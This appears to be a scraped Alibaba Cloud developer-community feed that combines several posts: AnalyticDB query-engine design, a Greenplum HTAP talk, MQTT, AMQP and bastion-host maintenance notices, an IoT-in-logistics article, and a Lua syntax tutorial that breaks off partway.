                  ADB 查询执行引擎,以统一的内存池化和查询的混合负载管理能力为基础,使用动态代码生成技术,创新性的混合执行模型,利用SIMD指令集的向量化算法,以及自适应的面向行、列混合存储的查询执行等技术,是AnalyticDB MySQL持续的在TPC-DS查询性能上领先的关键因素。

                  5.1 CBO查询优化框架

                  image.png
                  基于代价的优化器本质上是一个复杂的搜索问题,想要解决好这个问题,需要从四个方面入手:

                  搜索框架:从数据库的发展历程来看,基于 Cascades 的搜索框架已经成为了业界标准,包括商业数据库 SQL Server 以及开源数据库 GP/ORCA 都采用 Cascades 实现。AnalyticDB MySQL优化器CBO 也是基于 Cascades 论文实现的。搜索框架面临的一个核心问题是搜索空间会急速膨胀,但是搜索时间需要维持毫秒级响应,因此需要有高效的数据结构存储搜索空间、高效的优化规则生成搜索空间、高效的搜索算法遍历搜索空间,高效的剪枝策略裁剪搜索空间。

                  分布式并行计划:相对于传统的单机版数据库来说,分布式 MPP 数据库给优化器带来了新的挑战。在分布式 MPP 数据库中,数据的分布属性变得十分的重要,它会直接影响到数据的正确性。为了满足不同算子对数据分布的要求,数据重分布不可避免,然而数据的重分布即数据 shuffle 的代价非常昂贵,因此,在保证数据正确性的前提下,尽可能的减少数据 shuffle。作为分布式 MPP 数据库优化器来说,需要把数据的 Partitioning 属性,以及 Sorting、Grouping 属性,也纳入到搜索空间来综合考虑,基于代价选择最优的分布式并行执行计划。

                  代价估算:代价估算是优化器能否寻找到最优计划的关键因素。代价估算涉及到统计信息的推导和代价模型。统计信息的推导依赖于:原始表的统计信息、中间算子的推导算法、对数据的各种假设(均匀性假设、独立性假设、包括性假设、包含性假设)以及在一些极端情况下的猜测。因此统计信息的推导存在大量的不确定性,也正是因为这些不确定性,极大的加剧了优化器寻找最优解的难度。本质上来说,只有打破对数据属性的假设,才有可能使得统计信息的估算做到知其然知其所以然,然而打破这些假设,也要付出更多的代价。

                  统计信息收集:收集必要的统计信息是 CBO 工作的前提,统计信息需要做到:基本信息能够自动化收集,自动化更新,高级统计信息可以手动收集,为 CBO 提供可靠的、多纬度的统计信息。在实际的情况下,可能存在统计信息丢失或者没有及时收集,在这种情况下,为了避免生成灾难性的计划,可以在运行时动态采样来获取必要的统计信息。

                  5.2 混合查询执行框架

                  传统的火山执行模型不能满足分析场景高吞吐的性能需求已经成为业界的共识。随着各个系统的不断发展,目前业界计算引擎有2种演化后的执行框架实现:

                  • Just-in-time (JIT) compilation
                  • Vectorization

                  JIT编译方式以数据为中心,一条数据经过上一个算子处理后,还在CPU缓存中便直接进行下一个算子的计算,对CPU缓存友好,适合计算密集型任务。Vectorization中每个算子处理一批数据后,将一批结果再交给下一个算子计算。适合内存密集型任务以及向量计算,用中间结果物化的开销换取算子的计算高内聚。
                  111.png
                  JIT编译方式和Vectorization各有所长,如上图所示,红色表示JIT编译方式,绿色表示Vectorization方式。目前AnalyticDB MySQL是唯一的同时支持这两种查询模式的自研分析引擎。混合执行框架,在Vectorization执行模式的基础上,自适应的把多个计算密集特征的算子融合成一个驱动执行。实现了一个查询执行引擎同时具备Compilation和Vectorization的优点。

                  5.3 统一内存管理

                  在内存方面,高效的内存管理是计算优化的基石。面向类型的内存模型,特指针对不同的数据类型使用不同的基础类型存储。这导致不同的类型无法存储在连续的内存地址中,仅能通过按列的方式进行存储,减少多个内存对象带来的额外代价。另外一方面,不同内存类型间的内存无法复用,这会造成额外的内存管理代价。
                  image.png
                  ADB的查询执行引擎,通过统一内存管理来解决上面的几个问题

                  • 内存binary化: 统一内存类型,不同类型均使用相同的数据类型(byte)来存储,同时这也是查询执行面向行存,缓存友好算法优化的基石;
                  • 规范化的内存管理规格:统一内存规格,降低内存碎片带来的额外代价,并且降低复用内存的难度;
                  • 分层的内存管理:统一内存管理,根据计算特点对应内存的生命周期,针对内存使用特点,实现MemoryCache, MemoryPool,并且支持内存泄漏检测,实现面向常驻服务的主动内存管理;

                  5.4 DFP 和 CTE技术

                  在数据仓库中,事实表和维度表 Join是典型场景,他们之间的数据量的差异可以达到千万倍级别,这个时候,Join的计算成本更多的在于数据的扫描成本,因此我们会采用 DynamicFilterPushDown 的方式,来极大的减少左表的数据量。另外数据仓库中会出现大量的 WITH 语句以及隐式的共享语句,这些都可以通过 Common Table Expression 的共享来避免重复计算。

                  DFP(DynamicFilterPushDown)对于筛选率高的 Join (命中率低)、Probe端的数据从存储中被读上来之后,大部分数据会被丢弃掉。因此如果评估出来 build 的数据维持在一个比较小范围的阈值,那么我们就可以把 build 端结果值,作为左表的过滤条件,也就是 Dynamic Filter,直接下推存储,减少扫描量。对于优化器来说,最主要的工作就是要合理评估 build 端命中 Join 条件的 NDV 值。

                  不同的 Join Order 直接影响可做 Dynamic Filter 的范围和粒度,能够进行该优化的 Join 其 Cost 与真正的 Hash Join 有巨大的差异反过来也影响了 Join Order。基于 ADB 完善且扩展性较好的 CBO 框架,我们做到了从全局考虑,基于 Cost 选择最优的 Dynamic Filter 方案。
                  在执行层面,我们通过如下三个关键点实行有高效的DFP:

                  • 高效动态谓词构建,通过进程内in-place构建动态谓词,降低动态文词构建代价;
                  • 多层过滤执行优化,结合bloomfilter,分区裁剪,感知存储索引等方式,加速过滤效果;
                  • 异构数据源的下推,统一数据源接口层抽象实现,扩展异构数据源的支持;

                  CTE(Common table expression),TPC-DS 30%+的sql中包含with as用法, 通过with as子查询,在主查询中多次引用,每一次引用带来了额外的重复计算,导致资源浪费。基础的CTE优化,通过复用with子句的结果给多个引用方,来减少重复计算的代价。但是对于部分场景,与主查询的关系推导可以进一步减少with子查询中的计算量,这时直接share完整with子句会导致额外的性能回退。那么通过inline后的最优计划,进行common sub tree的识别,进一步减少重复计算量,达到无bad case的效果。执行器实现中,我们引入了死锁检测,通过分析common sub tree的多个consumer之间的依赖关系,解决死锁问题。

                  6. 客户场景和案例

                  AnalyticDB自2014年上云后已在全球主要Region开服,开始进入全球分析市场,2018年,成功入选了全球权威IT咨询机构Forrester发布"The Forrester Wave™: CloudData Warehouse,Q4 2018"研究报告的Contenders象限,以及Gartner发布的分析型数据管理平台报告 (Magic Quadrant for Data Management Solutions for Analytics)。

                  AnalyticDB已广泛应用于阿里巴巴集团内部和阿里云外部客户,具有替换Teradata、Oracle RAC的生产案例,在泛互联网、新零售、金融、税务、交通、气象、物流等核心行业得到大规模应用和验证,如在物流行业支持中国邮政首次实现全国物流查询分析大集中等。

                  7. 总结和展望

                  AnalyticDB经过数据库领域最顶级会议VLDB论文(AnalyticDB: Realtime OLAP Database System at Alibaba Cloud)的理论验证(中国极其少有的大规模商用系统介绍论文,类似有Google F1[VLDB'2013]、AWS Aurora[SIGMOD'2017]等)、TPC-DS全球领先的工程验证(TPC-DS全球性价比、性能双双领先)、覆盖核心部委以及大型泛互联网客户的客户验证、阿里集团多年的超大规模验证形成了多方面优势,基于云计算的高效资源效率、数据库与大数据一体化发展趋势,正式完成重大品牌升级,由“分析型数据库”升级为“云原生数据仓库”。

                  未来以来,大数据与数据库一体化+云原生将会重新定义云计算时代的数据仓库,TPC-DS破世界纪录只是起点,AnalyticDB将会持续投入致力于成为企业数字化转型升级、数据价值在线化的基础设施!

                  8. 附录

                  AnalyticDB VLDB论文解读:

                  VLDB论文解读:阿里云超大规模实时分析型数据库AnalyticDB

                  AnalyticDB 云栖文章

                  AnalyticDB for MySQL技术架构解析
                  更简单易⽤的数据仓库,阿⾥云重磅推出分析型数据库3.0版
                  构建实时数据仓库首选,云原生数据仓库AnalyticDB for MySQL技术解密
                  性能为MySQL 10倍!阿里云重磅推出云原生数据仓库AnalyticDB基础版

                  ]]>
                  基于PostggreSQL的PB级开源企业级分布式HTAP数据库-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文由阿里云开发者社区直播整理而来。
                  讲师介绍:
                  姚延栋,pivotal中国研发中心副总经理,Greenplum中文社区发起人。

                  image.png

                  今天和大家分享的标题是《新一代PB级分布式HTAP数据库》,我加了个副标题为:Greenplum能做什么?过去,我们做的分享大多是从产品的角度,分享Greenplum有哪些特性。后来接到一些反馈,很多听众都表示在听到这些特性后,更希望知道将这些特性综合起来可以对业务有哪些支撑。因此今天重点和大家分享Greenplum能做什么,并引出背后需要什么样的技术支撑。

                  Greenplum是个关系型数据库,支持完善的ACID,HTAP是这几年比较流行的方向,是指Transaction和Analytics混合处理在一个系统里。分布式是指一个集群有很多节点,每个节点处理一部分的任务,从而实现速度更快更高可用的处理。PB级是指Greenplum可支持的数据量,我们已经有大量的客户在生产集群里使用Greenplum支持PB级数据量。

                  在标题中,我使用了“新一代”的字样。有人也许会提出疑问,Greenplum是MPP架构,这个架构从80年代就有人研究,为什么会用新一代来形容。其实MPP只是Greenplum的骨架特点之一,经过多年的发展,Greenplum加入很多的新技术, 可以处理HTAP场景,具有结构化数据、半结构化数据、Text、GIS的支持能力,可以实现数据库内嵌的机器学习能力。 
                  可以和大家交流一个关于列存(Column Storage)的故事:大数据处理使得列存非常流行,但是大家知道不知道谁最早做的列存? 
                  实际上世界上第一款关系型数据库 SystemR(上世纪70年代初开发)第一版本实现时,数据存储就是现在我们说的列存。第一版做完后,总结了设计的一些缺陷,其中包括使用列存。如今列存成为了用来解决大数据的主流技术。很多时候,创新都会用一个已经被发明的老技术来解决新时代的问题。
                  image.png

                  数仓、OLAP、即席分析。这三个词很多时候指的是一回事。细扣的话各自也有不同的侧重。

                  1)数仓是一种数据库类型,用来做BI和复杂查询处理, 强调的是来自各种数据源的历史数据的分析,产生商业智能(BI)。

                  2)OLAP是一组操作,例如pivot/slice/dice/drilling/cube 等。强调的是处理。

                  3)即席分析:强调的是查询时ad-hoc的,不是预先设计好的 SQL 查询,强调需求和解决问题的动态性,不是静态需求 。

                  数仓、OLAP、即席分析,这三个词有各自的侧重点,但总体上都是指数据分析。一半以上Greenplum客户在这种场景下使用Greenplum,解决的是数仓问题、在线分析问题和即席查询问题。这个场景也是Greenplum创始团队2004年前后创业时主攻的市场。经过15年的研发和打磨,Greenplum在该领域具备了极大的优势,在全球范围内有良好的口碑。

                  image.png

                  口碑和优势并不是靠我们“王婆卖瓜自卖自夸”,而是来源于客户对产品的信赖和支持。这是 Gartner 2019年发布的报告。我们可以看到 Greenplum 在经典数仓领域排名第三,前两名是Teradata和Oracle,他们都经过长达40多年的发展,相比之下,Greenplum还处于青少年时期,发展更为快速。  此外在实时数仓领域,并列排名第4。取得这样的认可,需要很多方面的因素,除了技术,还有服务、支持、品牌等。但技术肯定是重要一环。接下来,我们来看看,从技术上,Greenplum是如何来解决数仓和 OLAP 问题的。
                  

                  image.png

                  首先,我们来看一下 Greenplum 的核心架构。上图是一张典型的部署拓扑图。上面是Master,下面都是Segment,Master和Segment之间通过网络进行高效通讯,我们称为Interconnect。

                  1)Master:存储用户元数据,负责对整个集群的调度、监控和管理控制。

                  2)Segment:存储用户数据,执行master分配的任务。

                  3)Interconnect:实现数据在各个节点间的传输。

                  整个架构可以做到线性拓展,这里我们看到 Greenplum 的核心架构特色:MPP shared nothing。MPP 是大规模并行处理,shared nothing是无共享。

                  image.png

                  在这种架构下,数据要如何存储呢。在 Greenplum 这种分布式数据库中,数据根据各种策略分布到不同节点上。Greenplum提供了多种分布策略,包括哈希、随机、6.0也提供了复制表的技术。不管是哪种技术,最重要的策略和目标是做到数据的均匀分布。
                  DBA或者开发人员要选择合适的分布键,使得每个节点分布1/n数据,避免出现短板效应,如果找不到一个合适的分布键,也可以考虑使用随机分布。

                  这样可以做到两重加速:

                  1.每个节点只有 1/n 数据,速度快。

                  2.N 个节点并行处理,速度快。

                  image.png

                  数据均匀分布考虑的是不同节点之间数据分布的问题。因为在每个节点上,Greenplum还支持分区技术,并支持多级分区。通过多级分区,可以将数据进一步在每个segment分开,底层会使用不同的文件保存不同的分区。核心目的还是尽量降低每次SQL处理要扫描的数据量。上图的例子中的查询,如果我们是按月做的分区,就可以只读2007年10月的数据,而不需要关心其他月份的数据。这样的话,磁盘IO会大幅降低,处理速度、性能也会有很大的提升。

                  image.png

                  Greenplum支持多模存储/多态存储。Greenplum可以对同一张表的不同分区采用不同的存储模式,常用的划分标准是根据时间划分分区。比如上图的例子中,最老的数据,也就是不常访问的数据可以使用外部表的模式,中间的数据可以使用列存储,频繁更新或者访问的数据可以用行存储。多态存储对用户透明。

                  image.png

                  数据有了分发和存储,也得支持查询。Greenplum研发团队于2011年自研的优化器——ORCA,是Greenplum开源的子项目,也是Apache的顶级项目。ORCA是基于 Cascade 架构,基于 Cost 模型的优化器。ORCA的主要用途是解决一些OLAP中存在的复杂的查询。ORCA可以很好的应对包括10+表join, 关联子查询, CTE, 分区动态裁剪等复杂查询。在这些场景下,ORCA查询速度比传统的优化器有几十倍到几百倍的性能提升。
                  

                  image.png

                  有了优化器,接下来就要谈谈查询的执行。上图中有两张表:t1和t2,它们各有6条数据,分布键都是c1,如图所示均匀分布在三个节点上。查询 SELECT * FROM t1 JOIN t2 ON t1.c1 = t2.c1 的执行计划如上图右半部分所示,每个节点上单独执行JOIN并将JOIN结果发送给master。这种场景是Greenplum最擅长的场景之一。

                  image.png

                  但并不是所有的查询都容易处理,比如上图的例子中,需要通过数据shuffle来实现数据在不同节点间的动态传输。Greenplum实际用户有更多、更复杂的使用场景,Greenplum作为企业级数据库都能很好的支持。

                  image.png

                  除了上面介绍的核心技术,Greenplum还有很多其他的技术,对数据库的性能,稳定性、和高可用有很大的支撑,上图列出了其中的一部分。

                  image.png

                  接下来,我们来介绍一个AP密集型的案例。某大型银行,采用 Greenplum 作为数据处理的中枢,所有业务数据都经过 Greenplum 中枢集群的处理,处理后的结果分发给不同的上游集群。中枢集群数据量 PB 级,节点数达200个;上游业务 Greenplum 集群有二三十套。支撑了该银行的大量核心业务。之前该银行主流技术是 Teradata,现在使用了几十套Greenplum集群替换了之前的Teradata集群。

                  image.png

                  随着数据量增大,一个痛点出现:传统的 OLTP + OLAP + ETL 方式过于复杂,效率低,费用高。客户对混合负载的需求越来越大。这里混合负载和 HTAP 大体指一回事,但是也有些微差别:混合负载通常强调是大查询+小查询,通常只读为主;HTAP 则强调小查询不只是读,而且有大量的 Insert、Update和Delete。Greenplum 早期版本主要为 OLAP 场景而优化,随着客户需求越来越大,慢慢很多人开始使用 Greenplum 做混合负载。从客户反馈来看,大约有 30% 以上Greenplum用户使用 Greenplum 处理混合负载,而且呈现逐年增长趋势。从今年9月份发布的 Greenplum 6 开始,Greenplum 对 OLTP 业务处理能力大幅提升。

                  image.png

                  上图是我们在Greenplum6发布时做的性能评测,Greenplum OLTP性能大幅提升。具体评测内容请查看链接(https://greenplum.cn/2019/05/14/greenplum-6-oltp-60x/)。 下面列出了常见TP查询的tps,从这个数据看来很多TP业务完全可以使用Greenplum 6支撑。这个测试是Greenplum 6.0刚发布时做的,用最新的 Greenplum 6.3跑测试,结果比这个数据还要好。

                  TPCB:4500 tps
                  SELECT:8万
                  INSERT:1.8万
                  Update:7000 tps

                  image.png

                  上图是社区的一位小伙伴在社区的帮助下作的一个Greenplum6和MySQL的JDBC insert测评,在优化后得到的上图的结果。Greenplum 6 可以承担越来越多的TP业务。

                  image.png

                  Greenplum性能提升归功于一系列OLTP优化技术,包括全局死锁检测、锁优化、事务优化、复制表、多模存储、灵活索引、OLTP友好的优化器、多个版本内核升级等。

                  由于有各种查询的存在,就可能存在资源竞争的情况。为了解决这个问题,我们引入了资源组,并在Greenplum 6中持续增强。资源组可以很好的进行资源管理,并具有上图的各大功能特性。

                  image.png
                  image.png

                  接下来我们来讲一个案例。很多企业会像上图中采用很复杂、并且成本很高的架构:用TP系统来支持事务型业务,用AP系统支持AP业务,再用ETL将数据从TP系统中导入进AP系统中。而通过Greenplum 6这样的HTAP数据库,一套数据库便可以同时支持AP和TP业务。Greenplum 从2019年9月份发布至今,全球已有20多家客户开始测试,并有数个客户开始应用于生产系统。

                  image.png

                  5版本时,我们发布了Greenplum Kafka Connector,在6版本中,也进行了大幅提升。GPKafka可以将用户导入Kafka的数据高效并行的导入Greenplum中。

                  image.png

                  这是一个世界顶级证券交易所的案例。在做POC时,客户要求每秒从Kafka导入100万数据到Greenplum,每秒提交一次。最终结果是Greenplum可以做到每秒300万条数据,数据量是9.8亿,平均时延是170毫秒。

                  image.png

                  Greenplum可以处理各种数据类型,包括结构化、JSON、XML这种半结构化数据和Text这种非结构化数据,还有地理信息数据等。除此之外,还可以做到in-databse 机器学习,图计算等。

                  image.png

                  数据融合也称数据虚拟化、数据联邦,指不用移动数据,可以分析远程数据源的数据。Greenplum的数据融合技术支持ORACLE、MySQL、PostgreSQL、Hadoop、HIVE、HBASE等。

                  image.png

                  Hackday 是Greenplum团队的传统活动:这一天可以“不干活”,选择你感兴趣的一个问题组织一个小团队搞一搞。上图列出了一次Hackday的题目。在Greenplum中可以用下图中的一条UDF来解决。

                  image.png

                  下图是一个做国家安全的大型服务提供商的案例。用户的地图界面中可以做一些OLAP操作,包括下钻、上卷等。在此案例中有文本数据、地理信息数据、和结构化数据。每天 5亿 数据,单表最大1000亿,用了一个满配的DCA一体机,单纯文本索引达11TB。同时有 200+ 用户访问,数据要求在1分钟之内进入系统。

                  image.png

                  大数据分析最近几年有一个新的发展趋势, 高级分析下沉。之前的技术是拉数据到分析应用节点,需要抽样和数据移动。为了解决这两个问题,避免数据移动,提高模型精度,机器学习开始下沉到数据库内实现。最早的工业实现之一是 Apache MADLib。MADLib是 Greenplum 2011年联合加州大学伯克利分校、威斯康星大学、布朗大学等一起合作的项目,目前已经成为 Apache 的顶级开源项目。下图是MADLib的架构。

                  image.png

                  下图是MADLib支持的一些函数。

                  image.png

                  2019年年初,我们开始进行一个新的尝试,用MADLib来支持AI 深度学习,在每个Segment上,通过MADLib架构支持Keras和TensorFlow,这样就可以使用挂在节点上的GPU的资源实现深度学习。

                  image.png
                  image.png
                  image.png

                  采用Greenplum数据库内分析方案后,性能上达到了十倍的提升。

                  image.png

                  最后我们简单聊一下现代SQL vs 92年的SQL。下图详细说明了SQL特性、SQL标准和Greenplum对应的支持的版本。当把上面这些特性有效结合在一起的时候,可以实现的功能非常强大。

                  image.png

                  我们来看一个例子。

                  image.png
                  image.png

                  接着我们考虑一下以下多种因素。然后再考虑下你的方案是否可以很好的支持这些情况。

                  image.png

                  但是如果用成熟的数据库,几行SQL便可以实现。并且不需要考虑上面提到的各种问题带来的挑战。

                  image.png

                  综上所述,Greenplum是一个成熟的、开源的企业级的HTAP数据库,且支持Apache协议,为全球来自各行各业的大量大型客户的生产系统支撑关键数据分析业务。数仓要求对大量数据进行处理,对应“Volume”;流数据要求对新产生的数据快速处理,对应“Velocity”;集成数据分析要求支持各种各样的数据类型,对应“Variety”。这也是大数据的3V,Greenplum是新一代大数据处理技术。和传统的Hadoop技术栈相比具有诸多优势,譬如性能更好、更简单易用、标准支持更好等。

                  目前很多数据中心将数据分析分为两类:数据仓库和大数据。数仓采用Greenplum已经非常流行,大数据部门也开始越来越多的采用Greenplum。这种新型的架构可以大大简化数据分析的复杂度,提高数据分析速度和时效性,避免在各种数据产品间频繁的搬动数据,降低运维人员的工作负载,提高知识共享度。节省成本且效率提升。

                  ]]>
                  【升级】5月微消息队列MQTT升级计划通知 Fri, 02 May 2025 09:39:04 +0800

                  【阿里云】【微消息队列MQTT】【升级通知】

                  升级窗口:

                  北京时间2020年5月6日 23:00 - 2020年5月7日 07:00

                  北京时间2020年5月11日 23:00 - 2020年5月12日 07:00

                  北京时间2020年5月13日 23:00 - 2020年5月14日 07:00

                  北京时间2020年5月20日 23:00 - 2020年5月21日 07:00

                  北京时间2020年5月27日 23:00 - 2020年5月28日 07:00

                  升级内容:所有地域的MQTT服务。

                  升级影响:升级期间MQTT控制台和集群中每个服务节点可能出现秒级闪断(闪断时间和集群规模正相关),客户端应用需要设置自动重连,以免影响业务。

                  升级期间,消息发送可能会有少量失败,应用需要做好断连失败重试机制;同时可能会有消息延迟的现象。如需在控制台进行管理操作,请避开维护时间段。

                  给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

                  ]]>
                  【升级】5月消息队列AMQP升级计划通知 Fri, 02 May 2025 09:39:04 +0800

                  【阿里云】【消息队列AMQP】【升级通知】

                  升级窗口:

                  北京时间2020年5月13日 00:00 - 06:00

                  北京时间2020年5月14日 00:00 - 06:00

                  北京时间2020年5月20日 00:00 - 06:00

                  北京时间2020年5月21日 00:00 - 06:00

                  北京时间2020年5月27日 00:00 - 06:00

                  升级内容:华北1(青岛)、华北2(北京)、华东1(杭州)、华东2(上海)、华南1(深圳)等地域的消息队列AMQP服务升级。

                  升级影响:升级期间消息队列AMQP相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

                  给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

                  ]]>
                  【其他】阿里云-堡垒机产品版本升级通知 Fri, 02 May 2025 09:39:04 +0800

                  【阿里云】【堡垒机】【升级通知】

                  1、升级窗口1:4月28日17:00-22:00 ;升级区域:西南1(成都)、华南2(河源)、华东2(上海)

                  2、升级窗口2:5月7日,5月12日 17:00-22:00 ;升级区域:华东1(杭州)

                  3、升级内容:堡垒机产品V3.2.X版本升级至V3.2.9版本,V3.2.9版本在主机配置、用户配置、控制策略三大功能模块均进行了优化升级:

                  1)主机配置:支持从文件导入主机;支持RDS专有主机组导入;支持同步时自动更新ECS属性;支持批量新增主机账号密钥

                  2)用户配置:新增堡垒机本地用户;支持从文件导入本地用户;支持AD/LDAP认证;支持配置用户SSH公钥;支持本地用户短信双因子认证

                  3)控制策略:支持配置命令、协议访问、来源IP控制策略;支持命令审批

                  4、升级方式:系统自动升级到最新版本

                  ]]>
                  物联网在物流中的应用-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Industrial-Internet-Applications-in-Logistics-1068x656_副本.jpg

                  物流通常是新技术的典型子案例。毫不奇怪,工业物联网(IIoT)在该领域得到了较早的采用。这篇文章重点介绍了IIoT在物流领域的成功应用,同时也突显了IIoT在缓解全球饥饿问题方面产生重大影响的机会。

                  供应链与供应链的竞争

                  2001年10月,也就是物联网(IoT)开始吸引商业战略家的思想的前十年,《供应链管理评论》上发表了一篇思想领先的文章“供应链与供应链:炒作与现实”。作者-麻省理工学院的小詹姆斯·赖斯(James Rice Jr.)和麦肯锡公司的理查德·霍普(Richard Hoppe)提出了这样的主张,即竞争的本质不是公司之间,而是供应链之间。供应链的核心是物流:货运、仓储操作和最后一英里的交付。供应链和物流运营效率显著提高的竞赛才刚刚开始。

                  就像CNC机器和SCADA是车间IIoT的先驱以提高敏捷性,生产率和质量一样,物流中的手持式扫描仪,条形码和RFID标签也是如此。(SCADA,手持式扫描仪,楼宇自动化系统和传感器本质上是数据监控和数据采集系统。)由于在仓储和货运业务中已经建立了数据采集基础架构,因此在物流领域向IIoT的过渡非常迅速。

                  货运作业物联网

                  美国和欧洲的年度货物盗窃案近千次。每年因库存延误以及被盗货物的成本,盗窃给托运人和保险提供商造成数十亿美元的损失。

                  通过物联网,物流提供商不仅可以实时了解货物的流动,还可以逐项监控。这样可以确保每个项目都按时、正确到达正确位置。当我们在世界各地飞行时,我们可以通过多次换乘来了解这一点。旅客行李不在到达机场的指定传送带上的概率每年都在降低。

                  仓库运营中的IIoT

                  手持扫描器和物品级别标签的广泛采用(使用诸如RFID之类的低成本设备)为物联网驱动的仓库运营铺平了道路。虽然使用无线读取器从托盘中采集数据已经存在了一段时间,并且已经消除了手动计数和托盘体积扫描这一费时的任务,但物联网驱动的仓库管理现在可以实时查看库存水平,从而避免了 昂贵的缺货情况。 对于质量管理,传感器会监视物品的状况,并在即将超出温度或湿度阈值时通知仓库经理。

                  IIoT在新兴市场中的食品物流应用

                  令人沮丧的是,在国际食品政策研究所发布的全球饥饿指数中,印度在78个最饥饿的国家中排名63。悲剧是,如果印度在供应链中没有浪费70%的水果和蔬菜,就可以消除印度的粮食问题(这意味着将近50%的3岁以下儿童严重营养不良和体重不足)。这种浪费占年产量的40%(按价值计算)(约合8B美元),使市场价格翻了一番。

                  虽然政策举措一直是为了提高粮食产量,但现在是时候将重点转向更有效的分销运输环节。印度在牛奶配送方面已经有了一个很好的例子:Amul的故事在冷藏储运和质量监控方面已经有很长的历史了。较低价格的高速网络的出现、传感器价格的下降、安装的便利性及其在监测食品储存、运输和最后一英里运输中的每一个相关参数方面的多功能性,可以进一步改善我们已经看到的阿穆尔牛奶配送。

                  除了通过智能传感器进行全条件监控之外,它的传感器分析还可以确保运输过程中的完整完整性。示例:随着交货的进行,车辆中的传感器将检测重量减轻,并将消息发送到温度控制系统,从而可以根据环境温度和要覆盖的剩余距离来减少冷却,以提高能源效率,而不会影响食品质量。分析是IIoT的关键,可以在食品供应链和消除新兴市场的饥饿中发挥关键作用。


                  原文链接 ]]>
                  Lua 基础-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 【转载请注明出处】:https://developer.aliyun.com/article/758555

                  基本语法

                  注释
                  • 两个减号是单行注释:
                    --注释
                  • 多行注释
                    `--[[ 注释 --]]

                  `

                  标示符

                  标示符以字母或下划线 _ 开头,加上字母、下划线或数字组成。
                  最好不要使用下划线加大写字母的标示符,因为Lua的保留字也是这样的。

                  关键词

                  以下列出了 Lua 的保留关键字。保留关键字不能作为常量或变量或其他用户自定义标示符:
                  and 、break 、 do 、 else 、 elseif 、end、false 、for 、 function 、if 、in 、 local 、nil 、 not 、 or 、 repeat 、return 、 then 、true 、until 、while
                  一般约定,以下划线开头连接一串大写字母的名字(比如 _VERSION)被保留用于 Lua 内部全局变量。

                  全局变量

                  在默认情况下,变量总是认为是全局的。

                  Lua 数据类型

                  Lua中有8个基本类型分别为:nil、boolean、number、string、userdata、function、thread和table。
                  | 数据类型 | 描述 | 说明 |
                  | - | - | - |
                  | nil | 这个最简单,只有值nil属于该类,表示一个无效值(在条件表达式中相当于false)。| nil 作比较时应该加上双引号 |
                  | boolean | 包含两个值:false和true。| Lua 把 false 和 nil 看作是"假",其他的都为"真" |
                  | number | 表示双精度类型的实浮点数 | |
                  | string | 字符串由一对双引号或单引号来表示 | 也可以用 2 个方括号 "[[]]" 来表示"一块"字符串。
                  使用 # 来计算字符串的长度
                  在对一个数字字符串上进行算术操作时,Lua 会尝试将这个数字字符串转成一个数字|
                  | function | 由 C 或 Lua 编写的函数 | |
                  | userdata | 表示任意存储在变量中的C数据结构 | |
                  | thread | 表示执行的独立线路,用于执行协同程序 | |
                  | table | Lua 中的表(table)其实是一个"关联数组"(associative arrays),数组的索引可以是数字或者是字符串。在 Lua 里,table 的创建是通过"构造表达式"来完成,最简单构造表达式是{},用来创建一个空表。 | |

                  可以使用type函数测试给定变量或者值的类型。

                  Lua 变量

                  Lua 变量有三种类型:全局变量、局部变量、表中的域。
                  Lua 中的变量全是全局变量,那怕是语句块或是函数里,除非用 local 显式声明为局部变量。
                  局部变量的作用域为从声明位置开始到所在语句块结束。

                  赋值语句
                  --赋值是改变一个变量的值和改变表域的最基本的方法。
                  a = "hello" .. "world"
                  t.n = t.n + 1
                  
                  --Lua可以对多个变量同时赋值,变量列表和值列表的各个元素用逗号分开,赋值语句右边的值会依次赋给左边的变量。
                  a, b = 10, 2*x     -- 等价于  a=10; b=2*x

                  当变量个数和值的个数不一致时,Lua会一直以变量个数为基础采取以下策略:

                  • 变量个数 > 值的个数 按变量个数补足nil
                  • 变量个数 < 值的个数 多余的值会被忽略
                  索引

                  对 table 的索引使用方括号 []。Lua 也提供了 . 操作。

                  t[i]
                  t.i     -- 当索引为字符串类型时的一种简化写法

                  Lua 循环

                  Lua 语言提供了以下几种循环处理方式:

                  | 循环类型 | 描述 |
                  | - | - |
                  | while 循环 |在条件为 true 时,让程序重复地执行某些语句。执行语句前会先检查条件是否为 true。 |
                  | for 循环| 重复执行指定语句,重复次数可在 for 语句中控制。 |
                  | repeat...until| 重复执行循环,直到 指定的条件为真时为止 |
                  | 循环嵌套 | 可以在循环内嵌套一个或多个循环语句(while do ... end;for ... do ... end;repeat ... until;) |

                  while 循环
                  while(condition)
                  do
                     statements
                  end
                  数值for循环

                  Lua 编程语言中数值for循环语法格式:

                  for var=exp1,exp2,exp3 do  
                      statements
                  end  

                  var 从 exp1 变化到 exp2,每次变化以 exp3 为步长递增 var,并执行一次 "执行体"。exp3 是可选的,如果不指定,默认为1。

                  泛型for循环

                  泛型 for 循环通过一个迭代器函数来遍历所有值,类似 java 中的 foreach 语句。

                  for i, v in ipairs(value) do
                       statements
                  end 

                  i是数组索引值,v是对应索引的数组元素值。ipairs是Lua提供的一个迭代器函数,用来迭代数组。

                  repeat...until 循环
                  repeat
                     statements
                  until( condition )

                  Lua 流程控制

                  Lua 提供了以下控制结构语句:
                  | 语句 | 描述 |
                  | - | - |
                  | if 语句| if 语句 由一个布尔表达式作为条件判断,其后紧跟其他语句组成。 |
                  | if...else 语句 | if 语句 可以与 else 语句搭配使用, 在 if 条件表达式为 false 时执行 else 语句代码。 |
                  | if 嵌套语句| 你可以在if 或 else if中使用一个或多个 if 或 else if 语句 。 |

                  if 语句
                  if(condition)
                  then
                     statements
                  end
                  if...else 语句
                  if(condition)
                  then
                    statements1
                  else
                     statements2
                  end
                  if...elseif...else 语句
                  if(condition1)
                  then
                    statements1
                  elseif(condition2) 
                  then
                     statements2
                  else 
                     statements3
                  end

                  Lua 函数

                  函数定义
                  optional_function_scope function function_name( argument1, argument2, argument3..., argumentn)
                      function_body
                      return result_params_comma_separated
                  end
                  • optional_function_scope: 该参数是可选的制定函数是全局函数还是局部函数,未设置该参数默认为全局函数,如果你需要设置函数为局部函数需要使用关键字 local。
                  • function_name: 指定函数名称。
